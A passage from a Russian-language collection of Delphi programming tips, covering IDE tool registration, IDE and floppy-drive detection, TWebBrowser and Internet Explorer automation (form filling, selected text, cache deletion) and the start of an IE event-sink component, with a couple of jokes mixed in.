     procedure Edit(toolIndex: Integer; params, path, title, workingDir: string);
     procedure Delete(toolIndex: Integer);
     function IndexOf(toolTitle: string): Integer;
     function Count: Integer;
     procedure ToolProperties(toolIndex: Integer;
       out params, path, title, workingDir: string);
   end;
 implementation
 { TDelphiTool }
 constructor TDelphiTool.Create;
 begin
   inherited;
   SetDelphiVersion(dvD6);
   F_Registry := TRegistry.Create;
 end;
 destructor TDelphiTool.Destroy;
 begin
   F_Registry.CloseKey;
   F_Registry.Free;
   inherited;
 end;
 function TDelphiTool.IndexOf(toolTitle: string): Integer;
 var
   found: boolean;
   loop: integer;
   Count: integer;
 begin
   Result := -1;
   if OpenKey(F_ToolPath, True) then
   begin
     loop  := 0;
     found := False;
     while (loop < F_ToolCount) and not found do
     begin
       found := F_Registry.ReadString('Title' + IntToStr(loop)) = toolTitle;
       if not found then Inc(loop);
     end;
   end;
   if found then Result := loop;
 end;
 procedure TDelphiTool.SetRootKey(root_key: HKEY);
 begin
   F_Registry.RootKey := root_key;
 end;
 procedure TDelphiTool.Add(params, path, title, workingDir: string);
 var
   Count: integer;
   suffix: string;
 begin
   if OpenKey(F_ToolPath, True) then
   begin
     try
       if IndexOf(title) < 0 then
       begin
         Count  := F_ToolCount;
         suffix := IntToStr(Count);
         Inc(Count);
         F_registry.WriteString('Params' + suffix, params);
         F_registry.WriteString('Path' + suffix, path);
         F_registry.WriteString('Title' + suffix, title);
         F_registry.WriteString('WorkingDir' + suffix, workingDir);
         F_registry.WriteInteger('Count', Count);
         F_ToolCount := Count;
       end
       else
         raise EDelphiTool_AlreadyRegistered.Create('[Add]: Tool is already registered.');
     finally
       F_Registry.CloseKey;
     end;
   end
 end;
 function TDelphiTool.OpenKey(key: string; CanCreate: Boolean): Boolean;
 begin
   Result := F_Registry.OpenKey(key, CanCreate);
   if F_Registry.ValueExists('Count') then F_ToolCount := F_Registry.ReadInteger('Count')
   else
     F_ToolCount := 0;
 end;
 procedure TDelphiTool.Edit(toolIndex: Integer; params, path, title, workingDir: string);
   // if you don't want to change one property set to '' 
var
   suffix: string;
 begin
   if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
     raise EDelphiTool_InvalidIndex.Create('[Edit]: Invalid index.')
   else
   begin
     if OpenKey(F_ToolPath, True) then
     begin
       try
         suffix := IntToStr(toolIndex);
         if (params <> '') then
           F_registry.WriteString('Params' + suffix, params);
         if (path <> '') then
           F_registry.WriteString('Path' + suffix, path);
         if (title <> '') then
           F_registry.WriteString('Title' + suffix, title);
         if (workingDir <> '') then
           F_registry.WriteString('WorkingDir' + suffix, workingDir);
       finally
         F_Registry.CloseKey;
       end;
     end
   end;
 end;
 procedure TDelphiTool.Delete(toolIndex: Integer);
 var
   suffix, tmp_suffix: string;
   i: integer;
 begin
   if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
     raise EDelphiTool_InvalidIndex.Create('[Delete]: Invalid index.')
   else
   begin
     if OpenKey(F_ToolPath, True) then
     begin
       try
         suffix := IntToStr(toolIndex);
         for i := toolIndex + 1 to F_ToolCount - 1 do
         begin
           tmp_suffix := IntToStr(i);
           F_registry.WriteString('Params' + suffix,
             F_registry.ReadString('Params' + tmp_suffix));
           F_registry.WriteString('Path' + suffix,
             F_registry.ReadString('Path' + tmp_suffix));
           F_registry.WriteString('Title' + suffix,
             F_registry.ReadString('Title' + tmp_suffix));
           F_registry.WriteString('WorkingDir' + suffix,
             F_registry.ReadString('WorkingDir' + tmp_suffix));
           suffix := IntToStr(i);
         end;
         F_registry.DeleteValue('Params' + suffix);
         F_registry.DeleteValue('Path' + suffix);
         F_registry.DeleteValue('Title' + suffix);
         F_registry.DeleteValue('WorkingDir' + suffix);
         F_registry.WriteInteger('Count', F_ToolCount - 1);
         Dec(F_ToolCount);
       finally
         F_Registry.CloseKey;
       end;
     end;
   end;
 end;
 procedure TDelphiTool.SetDelphiVersion(version: TDelphiVersion);
   //************************************************************* 
  //  for versions other then D6 lookup the registry and add lines 
  // like below , also add dvDx entries to TDelphiVersion 
begin
   case version of
     dvD6: F_ToolPath := '\Software\Borland\Delphi\6.0\Transfer';
     //** don't have D5, just guessing, so check it in the registry 
    //** before uncommenting 
    //   dvD5: F_ToolPath:= '\Software\Borland\Delphi\5.0\Transfer'; 
  end;
 end;
 function TDelphiTool.Count: Integer;
 begin
   Result := F_ToolCount;
 end;
 procedure TDelphiTool.ToolProperties(toolIndex: Integer; out params, path,
   title, workingDir: string);
 var
   suffix: string;
 begin
   if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
     raise EDelphiTool_InvalidIndex.Create('[ToolProperties]: Invalid index.')
   else
   begin
     if OpenKey(F_ToolPath, True) then
     begin
       try
         suffix := IntToStr(toolIndex);
         params := F_registry.ReadString('Params' + suffix);
         path := F_registry.ReadString('Path' + suffix);
         title := F_registry.ReadString('Title' + suffix);
         workingDir := F_registry.ReadString('WorkingDir' + suffix);
       finally
         F_Registry.CloseKey;
       end;
     end
   end;
 end;
 end.
 //******************************************************************* 
//**  how to use it? 
//******************************************************************* 
unit Unit1;
 interface
 uses
   Windows, {...}, DelphiTool;
  //... 
 //... 
 //... 
var
   Form1: TForm1;
 implementation
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   with TDelphiTool.Create do
     try
       //  Delete(IndexOf('MyTool')); 
      Add('', Application.ExeName, 'MyTool', ExtractFilePath(Application.ExeName));
       //  Edit(IndexOf('MyTool'), '', '', 'MyTool But Edited', ''); 
    finally
       Free;
     end;
 end;

Работа с IDE из программы.

Вот подпрограммы, работающие у меня в связке D1 и Win 3.1x:

function LaunchedFromDelphiIDE: Boolean;
{----------------------------------------------------------------}
{ Осуществляем проверку запущенности приложения из-под Delphi    }
{ IDE. Идея взята из сообщения в Delphi-Talk от Ed Salgado       }
{ из Eminent Domain Software.                                    }
{----------------------------------------------------------------}
begin
  LaunchedFromDelphiIDE := Bool(PrefixSeg) {т.е. не DLL} and
  Bool(PWordArray(MemL[DSeg: 36])^[8]);
end; {LaunchedFromDelphiIDE}
function DelphiLoaded: Boolean;
{----------------------------------------------------------------}
{ Проверяем, загружена ли Delphi. Дает правильные результаты     }
{  - если вызывающее приложение запущено отдельно, или из-под IDE}
{  - если Delphi имеет открытый проект                           }
{  - если Delphi минимизирована.                                 }
{ Автор идеи Wade Tatman (wtatman@onramp.net).                   }
{----------------------------------------------------------------}
begin
  DelphiLoaded := false;
  if WindowExists('TPropertyInspector', 'Object Inspector') then
    if WindowExists('TMenuBuilder', 'Menu Designer') then
      if WindowExists('TAppBuilder', '(AnyName)') then
        if WindowExists('TApplication', 'Delphi') then
          if WindowExists('TAlignPalette', 'Align') then
            DelphiLoaded := true;
end; {DelphiLoaded}
function DelphiInstalled: Boolean;
{----------------------------------------------------------------}
{ Проверяем наличие Delphi.ini, ищем в нем путь к Библиотеке     }
{ Компонентов, после чего проверяем ее наличие по этому пути.    }
{----------------------------------------------------------------}
var
  IniFile: string;
begin
  DelphiInstalled := false;
  IniFile := WindowsDirectory + '\Delphi.ini';
  if FileExists(IniFile) then
    if FileExists(GetIni(IniFile, 'Library', 'ComponentLibrary')) then
      DelphiInstalled := true;
end; {DelphiInstalled}
Я уверен, что один из приведенных выше методов вам поможет.Последние две
  подпрограммы используют некоторые другие инкапсуляции Windows API и классов
  Delphi, и они определены следующим образом:
function WindowExists(WindowClass, WindowName: string): Boolean;
{----------------------------------------------------------------}
{ С помощью паскалевских строк проверяем наличие определенного   }
{ окна. Для поиска только имени окна (WindowName), используем    }
{ WindowClass '(AnyClass)'; для поиска только класса окна        }
{ (WindowClass), используем WindowName '(AnyName)'.              }
{----------------------------------------------------------------}
var
  PWindowClass, PWindowName: PChar;
  AWindowClass, AWindowName: array[0..63] of Char;
begin
  if WindowClass = '(AnyClass)' then
    PWindowClass := nil
  else
    PWindowClass := StrPCopy(PChar(@AWindowClass), WindowClass);
  if WindowName = '(AnyName)' then
    PWindowName := nil
  else
    PWindowName := StrPCopy(PChar(@AWindowName), WindowName);
  if FindWindow(PWindowClass, PWindowName) <> 0 then
    WindowExists := true
  else
    WindowExists := false;
end; {WindowExists}
function WindowsDirectory: string;
{----------------------------------------------------------------}
{ Возвращаем путь к каталогу Windows (без обратной косой черты)  }
{----------------------------------------------------------------}
const
  BufferSize = 144;
var
  ABuffer: array[0..BufferSize] of Char;
begin
  if GetWindowsDirectory(PChar(@ABuffer), BufferSize) = 0 then
    WindowsDirectory := ''
  else
    WindowsDirectory := StrPas(PChar(@ABuffer));
end; {WindowsDirectory}
function GetIni(const IniFile, Section, Entry: string): string;
{----------------------------------------------------------------}
{ Получаем инициализационную 'profile' строку из определенного   }
{ пункта (Entry) определенной секции [Section] определенного     }
{ INI-файла (дополняем '.ini', если отсутствует). Возвращаем     }
{ нулевую строку, если IniFile, Section или Entry не найден.     }
{----------------------------------------------------------------}
var
  IniFileVar: string;
  IniFileObj: TIniFile;
begin
  if StrEndsWith(IniFile, '.ini') then
    IniFileVar := IniFile
  else
    IniFileVar := IniFile + '.ini';
  IniFileObj := TIniFile.Create(IniFileVar);
  GetIni := IniFileObj.ReadString(Section, Entry, '');
  IniFileObj.Free;
end; {GetIni}

Как проверить готовность диска А.

Автор: Галимарзанов Фанис
Девица не готова - device not ready.
function DiskInDrive(const Drive: char): Boolean;
var
  DrvNum: byte;
  EMode: Word;
begin
  result := false;
  DrvNum := ord(Drive);
  if DrvNum >= ord('a') then
    dec(DrvNum, $20);
  EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
  try
    if DiskSize(DrvNum - $40) <> -1 then
      result := true
    else
      messagebeep(0);
  finally
    SetErrorMode(EMode);
  end;
end;

...можно для пущей функциональности добавить ряд строк:

function DiskInDrive(const Drive: char): Boolean;
var
  DrvNum: byte;
  EMode: Word;
begin
  result := true; // было false
  DrvNum := ord(Drive);
  if DrvNum >= ord('a') then
    dec(DrvNum, $20);
  EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
  try
    while DiskSize(DrvNum - $40) = -1 do
    begin // при неудаче выводим диалог
      if (Application.MessageBox('Диск не готов...' + chr(13) + chr(10) +
        'Повторить?', PChar('Диск ' + UpperCase(Drive)), mb_OKCANCEL +
        mb_iconexclamation {IconQuestion}) = idcancel) then
      begin
        Result := false;
        Break;
      end;
    end;
  finally
    SetErrorMode(EMode);
  end;
end;

Как проверить готовность диска А 2.

После игры в покер виндозе выдает сообщение: - Вы проиграли 273 доллара. Вставьте их, пожалуйста, в дисковод А: и нажмите ANY KEY (если найдете). Что в этом случае делают... Ламер: С остервенелым видом начинает засовывать 273 доллара в флоповод А: и искать ANY KEY. Юзер: С жутко довольным видом давит ресет и бежит рассказывать друзьям о том, как он "взломал" покер. Хакер: За соседним компутером быстренько пишет прогу, эмулирующую засовывание 273 баксов в дисковод А:. Потом, в течение 3-4 недель пишет фиксы и апдэйты для эмуляции запихивания 274, 293 и 765 баксов в дисководы А:, В. Новый русский: Со всей дури бьет кулаком по флоповоду А: и начинает усердно искать в флоповоде В: сдачу...
type
  TDriveState(DS_NO_DISK, DS_UNFORMATTED_DISK, DS_EMPTY_DISK,
    DS_DISK_WITH_FILES);
function DriveState(driveletter: Char): TDriveState;
var
  mask: string[6];
  sRec: TSearchRec;
  oldMode: Cardinal;
  retcode: Integer;
begin
  oldMode: = SetErrorMode(SEM_FAILCRITICALERRORS);
  mask := '?:\*.*';
  mask[1] := driveletter;
{$I-} { не возбуждаем исключение при неудаче }
  retcode := FindFirst(mask, faAnyfile, SRec);
  FindClose(SRec);
{$I+}
  case retcode of
    0: Result := DS_DISK_WITH_FILES; { обнаружен по крайней мере один файл }
    -18: Result := DS_EMPTY_DISK; { никаких файлов не обнаружено, но ok }
    -21: Result := DS_NO_DISK; { DOS ERROR_NOT_READY }
  else
    Result := DS_UNFORMATTED_DISK; { в моей системе значение равно -1785!}
  end;
  SetErrorMode(oldMode);
end; { DriveState }
Я тестировал код под Win NT 3.5, так что проверьте его на ошибки в ситуациях, когда дискета отсутствует или неотформатирована под Win 3.1 и WfW 3.11, если, конечно, это необходимо.

Ревизия для Win95:

case RetCode of
  0: Result := DS_DISK_WITH_FILES;
  -18: Result := DS_EMPTY_DISK;
  else
    Result := DS_NO_DISK;
end;

Как нажать кнопку в TWebBrowser, когда в окне есть несколько кнопок.

Автор: http://www.swissdelphicenter.ch

// If there is only one button, you can do something like:
WebBrowser1.OleObject.Document.forms.item(0).elements.item(0).click;
// This will do a click on the first element of the first <FORM>, where an
// element is either <INPUT>, <SELECT> or <TEXTAREA>.
// If there is more than one button, you can do something like:
procedure TForm1.Button1Click(Sender: TObject);
var
  ovElements: OleVariant;
  i: Integer;
begin
  ovElements := WebBrowser1.OleObject.Document.forms.item(0).elements;
  for i := 0 to (ovElements.Length - 1) do
    if (ovElements.item(i).tagName = 'INPUT') and
      (ovElements.item(i).type = 'SUBMIT') and
      (ovElements.item(i).Value = 'Recent Charges') then
      ovElements.item(i).Click;
end;

Удалить временные файлы IE.

На конгрессе программистов зачитывают послание Президента России.... Пожелания удачи, и т.д. А в конце подпись - "Ваш Президент.Ру"
uses 
  WinInet; 
procedure DeleteIECache; 
var 
  lpEntryInfo: PInternetCacheEntryInfo; 
  hCacheDir: LongWord; 
  dwEntrySize: LongWord; 
begin 
  dwEntrySize := 0; 
  FindFirstUrlCacheEntry(nil, TInternetCacheEntryInfo(nil^), dwEntrySize); 
  GetMem(lpEntryInfo, dwEntrySize); 
  if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize; 
  hCacheDir := FindFirstUrlCacheEntry(nil, lpEntryInfo^, dwEntrySize); 
  if hCacheDir <> 0 then  
  begin 
    repeat 
      DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName); 
      FreeMem(lpEntryInfo, dwEntrySize); 
      dwEntrySize := 0; 
      FindNextUrlCacheEntry(hCacheDir, TInternetCacheEntryInfo(nil^), dwEntrySize); 
      GetMem(lpEntryInfo, dwEntrySize); 
      if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize; 
    until not FindNextUrlCacheEntry(hCacheDir, lpEntryInfo^, dwEntrySize); 
  end; 
  FreeMem(lpEntryInfo, dwEntrySize); 
  FindCloseUrlCache(hCacheDir); 
end; 
// Beispiel: 
// Example: 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  DeleteIECache; 
end;

Автоматическое заполнение web-форм в запущенном IE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  This example shows how to automatically fill in a search string 
  in the "Search Tip" page and click the search button. 
}
 uses
   MSHTML_TLB;
 // first navigate to tipspage 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   Webbrowser1.Navigate('http://www.swissdelphicenter.ch/en/tipsuchen.php');
 end;
 // Try to access IE instance and fill out the search field with 
// a text and click the search button 
procedure TForm1.Button3Click(Sender: TObject);
 var
   hIE: HWND;
   ShellWindow: IShellWindows;
   WB: IWebbrowser2;
   spDisp: IDispatch;
   IDoc1: IHTMLDocument2;
   Document: Variant;
   k, m: Integer;
   ovElements: OleVariant;
   i: Integer;
 begin
   ShellWindow := CoShellWindows.Create;
   // get the running instance of Internet Explorer 
  for k := 0 to ShellWindow.Count do
   begin
     spDisp := ShellWindow.Item(k);
     if spDisp = nil then Continue;
     // QueryInterface determines if an interface can be used with an object 
    spDisp.QueryInterface(iWebBrowser2, WB);
     if WB <> nil then
     begin
       WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
       if iDoc1 <> nil then
       begin
         WB := ShellWindow.Item(k) as IWebbrowser2;
         begin
           Document := WB.Document;
           // count forms on document and iterate through its forms 
          for m := 0 to Document.forms.Length - 1 do
           begin
             ovElements := Document.forms.Item(m).elements;
             // iterate through elements 
            for i := 0 to ovElements.Length - 1 do
             begin
               // when input fieldname is found, try to fill out 
              try
                 if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
                   (CompareText(ovElements.item(i).type, 'text') = 0) then
                 begin
                   ovElements.item(i).Value := 'FindWindow';
                 end;
               except
               end;
               // when Submit button is found, try to click 
              try
                 if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
                   (CompareText(ovElements.item(i).type, 'SUBMIT') = 0) and
                   (ovElements.item(i).Value = 'Search') then  // Suchen fьг German 
                begin
                   ovElements.item(i).Click;
                 end;
               except
               end;
             end;
           end;
         end;
       end;
     end;
   end;
 end;

Как вызвать команды Find, Options или View Source.

Статьи по Delphi (009)…

Вот пример вызова диалога Find.

const
  HTMLID_FIND       = 1;
  HTMLID_VIEWSOURCE = 2;
  HTMLID_OPTIONS    = 3;
...
procedure TForm1.FindIE;
const
  CGID_WebBrowser: TGUID = '{ED016940-BD5B-11cf-BA4E-00C04FD70816}';
var
  CmdTarget : IOleCommandTarget;
  vaIn, vaOut: OleVariant;
  PtrGUID: PGUID;
begin
  New(PtrGUID);
  PtrGUID^ := CGID_WebBrowser;
  if WebBrowser1.Document <> nil then
    try
      WebBrowser1.Document.QueryInterface(IOleCommandTarget, CmdTarget);
      if CmdTarget <> nil then
        try
          CmdTarget.Exec( PtrGUID, HTMLID_FIND, 0, vaIn, vaOut);
        finally
          CmdTarget._Release;
        end;
    except
      // nothing
    end;
  Dispose(PtrGUID);
end;

Как автоматически заполнить поля формы в IE.

Автор: http://www.swissdelphicenter.ch

{
  This example shows how to automatically fill in a search string
  in the "Search Tip" page and click the search button.
}
uses
  MSHTML_TLB;
// first navigate to tipspage
procedure TForm1.Button1Click(Sender: TObject);
begin
  Webbrowser1.Navigate('http://www.swissdelphicenter.ch/en/tipsuchen.php');
end;
// Try to access IE instance and fill out the search field with
// a text and click the search button
procedure TForm1.Button3Click(Sender: TObject);
var
  hIE: HWND;
  ShellWindow: IShellWindows;
  WB: IWebbrowser2;
  spDisp: IDispatch;
  IDoc1: IHTMLDocument2;
  Document: Variant;
  k, m: Integer;
  ovElements: OleVariant;
  i: Integer;
begin
  ShellWindow := CoShellWindows.Create;
  // get the running instance of Internet Explorer
  for k := 0 to ShellWindow.Count do
  begin
    spDisp := ShellWindow.Item(k);
    if spDisp = nil then
      Continue;
    // QueryInterface determines if an interface can be used with an object
    spDisp.QueryInterface(iWebBrowser2, WB);
    if WB <> nil then
    begin
      WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
      if iDoc1 <> nil then
      begin
        WB := ShellWindow.Item(k) as IWebbrowser2;
        begin
          Document := WB.Document;
          // count forms on document and iterate through its forms
          for m := 0 to Document.forms.Length - 1 do
          begin
            ovElements := Document.forms.Item(m).elements;
            // iterate through elements
            for i := 0 to ovElements.Length - 1 do
            begin
              // when input fieldname is found, try to fill out
              try
                if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
                  (CompareText(ovElements.item(i).type, 'text') = 0) then
                begin
                  ovElements.item(i).Value := 'FindWindow';
                end;
              except
              end;
              // when Submit button is found, try to click
              try
                if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
                  (CompareText(ovElements.item(i).type, 'SUBMIT') = 0) and
                  (ovElements.item(i).Value = 'Search') then
                    // Suchen fьг German
                begin
                  ovElements.item(i).Click;
                end;
              except
              end;
            end;
          end;
        end;
      end;
    end;
  end;
end;

Получить выделенный текст из окна IE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
   SHDocVw_TLB; // http://www.euromind.com/iedelphi if don't have that unit 
function GetSelectedIEtext: string;
 var
   x: Integer;
   Sw: IShellWindows;
   IE: HWND;
 begin
   IE := FindWindow('IEFrame', nil);
   sw := CoShellWindows.Create;
   for x := SW.Count - 1 downto 0 do
     if (Sw.Item(x) as IWebbrowser2).hwnd = IE then begin
       Result := variant(Sw.Item(x)).Document.Selection.createRange.Text;
       break;
     end;
 end;

Прерывать сообщения Internet Explorer.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
This component allows you to intercept Internet Explorer messages such as 
"StatusTextChangeEvent", "DocumentCompleteEvent" and so on. 
Mit folgende Komponente lassen sich Nachrichten wie 
"StatusTextChangeEvent", "DocumentCompleteEvent" usw. von 
Internet Explorer Fenstern abfangen. 
}
 //---- Component Source: Install this component first. 
unit IEEvents;
 interface
 uses
   Windows, SysUtils, Classes, Graphics, ComObj, ActiveX, SHDocVW;
 type
   // Event types exposed from the Internet Explorer interface 
  TIEStatusTextChangeEvent = procedure(Sender: TObject; const Text: WideString) of object;
   TIEProgressChangeEvent = procedure(Sender: TObject; Progress: Integer; ProgressMax: Integer) of object;
   TIECommandStateChangeEvent = procedure(Sender: TObject; Command: Integer; Enable: WordBool) of object;
   TIEDownloadBeginEvent = procedure(Sender: TObject) of object;
   TIEDownloadCompleteEvent = procedure(Sender: TObject) of object;
   TIETitleChangeEvent = procedure(Sender: TObject; const Text: WideString) of object;
   TIEPropertyChangeEvent = procedure(Sender: TObject; const szProperty: WideString) of object;
   TIEBeforeNavigate2Event = procedure(Sender: TObject; const pDisp: IDispatch;
     var URL: OleVariant; var Flags: OleVariant; var TargetFrameName: OleVariant;
     var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool) of object;
   TIENewWindow2Event = procedure(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool) of object;
   TIENavigateComplete2Event = procedure(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant) of object;
   TIEDocumentCompleteEvent = procedure(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant) of object;
   TIEOnQuitEvent = procedure(Sender: TObject) of object;
   TIEOnVisibleEvent = procedure(Sender: TObject; Visible: WordBool) of object;
   TIEOnToolBarEvent = procedure(Sender: TObject; ToolBar: WordBool) of object;
   TIEOnMenuBarEvent = procedure(Sender: TObject; MenuBar: WordBool) of object;
   TIEOnStatusBarEvent = procedure(Sender: TObject; StatusBar: WordBool) of object;
   TIEOnFullScreenEvent = procedure(Sender: TObject; FullScreen: WordBool) of object;
   TIEOnTheaterModeEvent = procedure(Sender: TObject; TheaterMode: WordBool) of object;
   // Event component for Internet Explorer 
  TIEEvents = class(TComponent, IUnknown, IDispatch)
   private
      // Private declarations 
    FConnected: Boolean;
     FCookie: Integer;
     FCP: IConnectionPoint;
     FSinkIID: TGuid;
     FSource: IWebBrowser2;
     FStatusTextChange: TIEStatusTextChangeEvent;
     FProgressChange: TIEProgressChangeEvent;
     FCommandStateChange: TIECommandStateChangeEvent;
     FDownloadBegin: TIEDownloadBeginEvent;
     FDownloadComplete: TIEDownloadCompleteEvent;
     FTitleChange: TIETitleChangeEvent;
     FPropertyChange: TIEPropertyChangeEvent;
     FBeforeNavigate2: TIEBeforeNavigate2Event;
     FNewWindow2: TIENewWindow2Event;
     FNavigateComplete2: TIENavigateComplete2Event;
     FDocumentComplete: TIEDocumentCompleteEvent;
     FOnQuit: TIEOnQuitEvent;
     FOnVisible: TIEOnVisibleEvent;
     FOnToolBar: TIEOnToolBarEvent;
     FOnMenuBar: TIEOnMenuBarEvent;
     FOnStatusBar: TIEOnStatusBarEvent;
     FOnFullScreen: TIEOnFullScreenEvent;
     FOnTheaterMode: TIEOnTheaterModeEvent;
   protected
      // Protected declaratios for IUnknown 
    function QueryInterface(const IID: TGUID; out Obj): HResult; override;
     function _AddRef: Integer; stdcall;
     function _Release: Integer; stdcall;
      // Protected declaratios for IDispatch 
    function GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount, LocaleID:
       Integer; DispIDs: Pointer): HResult; virtual; stdcall;
     function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; virtual; stdcall;
     function GetTypeInfoCount(out Count: Integer): HResult; virtual; stdcall;
     function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
       Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; virtual; stdcall;
      // Protected declarations 
    procedure DoStatusTextChange(const Text: WideString); safecall;
     procedure DoProgressChange(Progress: Integer; ProgressMax: Integer); safecall;
     procedure DoCommandStateChange(Command: Integer; Enable: WordBool); safecall;
     procedure DoDownloadBegin; safecall;
     procedure DoDownloadComplete; safecall;
     procedure DoTitleChange(const Text: WideString); safecall;
     procedure DoPropertyChange(const szProperty: WideString); safecall;
     procedure DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant;
       var Flags: OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant;
       var Headers: OleVariant; var Cancel: WordBool); safecall;
     procedure DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool); safecall;
     procedure DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant); safecall;
     procedure DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant); safecall;
     procedure DoOnQuit; safecall;
     procedure DoOnVisible(Visible: WordBool); safecall;
     procedure DoOnToolBar(ToolBar: WordBool); safecall;
     procedure DoOnMenuBar(MenuBar: WordBool); safecall;
     procedure DoOnStatusBar(StatusBar: WordBool); safecall;
     procedure DoOnFullScreen(FullScreen: WordBool); safecall;
     procedure DoOnTheaterMode(TheaterMode: WordBool); safecall;
   public
      // Public declarations 
    constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
     procedure ConnectTo(Source: IWebBrowser2);
     procedure Disconnect;
     property SinkIID: TGuid read FSinkIID;
     property Source: IWebBrowser2 read FSource;
   published
      // Published declarations 
    property WebObj: IWebBrowser2 read FSource;
     property Connected: Boolean read FConnected;
     property StatusTextChange: TIEStatusTextChangeEvent read FStatusTextChange write FStatusTextChange;
     property ProgressChange: TIEProgressChangeEvent read FProgressChange write FProgressChange;
     property CommandStateChange: TIECommandStateChangeEvent read FCommandStateChange write FCommandStateChange;
     property DownloadBegin: TIEDownloadBeginEvent read FDownloadBegin write FDownloadBegin;
     property DownloadComplete: TIEDownloadCompleteEvent read FDownloadComplete write FDownloadComplete;
     property TitleChange: TIETitleChangeEvent read FTitleChange write FTitleChange;
     property PropertyChange: TIEPropertyChangeEvent read FPropertyChange write FPropertyChange;
     property BeforeNavigate2: TIEBeforeNavigate2Event read FBeforeNavigate2 write FBeforeNavigate2;
     property NewWindow2: TIENewWindow2Event read FNewWindow2 write FNewWindow2;
     property NavigateComplete2: TIENavigateComplete2Event read FNavigateComplete2 write FNavigateComplete2;
     property DocumentComplete: TIEDocumentCompleteEvent read FDocumentComplete write FDocumentComplete;
     property OnQuit: TIEOnQuitEvent read FOnQuit write FOnQuit;
     property OnVisible: TIEOnVisibleEvent read FOnVisible write FOnVisible;
     property OnToolBar: TIEOnToolBarEvent read FOnToolBar write FOnToolBar;
     property OnMenuBar: TIEOnMenuBarEvent read FOnMenuBar write FOnMenuBar;
     property OnStatusBar: TIEOnStatusBarEvent read FOnStatusBar write FOnStatusBar;
     property OnFullScreen: TIEOnFullScreenEvent read FOnFullScreen write FOnFullScreen;
     property OnTheaterMode: TIEOnTheaterModeEvent read FOnTheaterMode write FOnTheaterMode;
   end;
 // Register procedure 
procedure Register;
 implementation
 function TIEEvents._AddRef: Integer;
 begin
   // No more than 2 counts 
  result := 2;
 end;
 function TIEEvents._Release: Integer;
 begin
   // Always maintain 1 ref count (component holds the ref count) 
  result := 1;
 end;
 function TIEEvents.QueryInterface(const IID: TGUID; out Obj): HResult;
 begin
   // Clear interface pointer 
  Pointer(Obj) := nil;
   // Attempt to get the requested interface 
  if (GetInterface(IID, Obj)) then
      // Success 
    result := S_OK
   // Check to see if the guid requested is for the event 
  else if (IsEqualIID(IID, FSinkIID)) then
   begin
      // Event is dispatch based, so get dispatch interface (closest we can come) 
    if (GetInterface(IDispatch, Obj)) then
         // Success 
      result := S_OK
     else
         // Failure 
      result := E_NOINTERFACE;
   end
   else
      // Failure 
    result := E_NOINTERFACE;
 end;
 function TIEEvents.GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount,
   LocaleID: Integer; DispIDs: Pointer): HResult;
 begin
   // Not implemented 
  result := E_NOTIMPL;
 end;
 function TIEEvents.GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult;
 begin
   // Clear the result interface 
  Pointer(TypeInfo) := nil;
   // No type info for our interface 
  result := E_NOTIMPL;
 end;
 function TIEEvents.GetTypeInfoCount(out Count: Integer): HResult;
 begin
   // Zero type info counts 
  Count := 0;
   // Return success 
  result := S_OK;
 end;
 function TIEEvents.Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer; Flags: Word;
   var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult;
 var pdpParams: PDispParams;
   lpDispIDs: array[0..63] of TDispID;
   dwCount: Integer;
 begin
   // Get the parameters 
  pdpParams := @Params;
   // Events can only be called with method dispatch, not property get/set 
  if ((Flags and DISPATCH_METHOD) > 0) then
   begin
      // Clear DispID list 
    ZeroMemory(@lpDispIDs, SizeOf(lpDispIDs));
      // Build dispatch ID list to handle named args 
    if (pdpParams^.cArgs > 0) then
     begin
         // Reverse the order of the params because they are backwards 
      for dwCount := 0 to Pred(pdpParams^.cArgs) do lpDispIDs[dwCount] := Pred(pdpParams^.cArgs) - dwCount;
         // Handle named arguments 
      if (pdpParams^.cNamedArgs > 0) then
       begin
         for dwCount := 0 to Pred(pdpParams^.cNamedArgs) do
           lpDispIDs[pdpParams^.rgdispidNamedArgs^[dwCount]] := dwCount;
       end;
     end;
      // Unless the event falls into the "else" clause of the case statement the result is S_OK 
    result := S_OK;
      // Handle the event 
    case DispID of
       102: DoStatusTextChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
       104: DoDownloadComplete;
       105: DoCommandStateChange(pdpParams^.rgvarg^[lpDispIds[0]].lval,
           pdpParams^.rgvarg^[lpDispIds[1]].vbool);
       106: DoDownloadBegin;
       108: DoProgressChange(pdpParams^.rgvarg^[lpDispIds[0]].lval,
           pdpParams^.rgvarg^[lpDispIds[1]].lval);
       112: DoPropertyChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
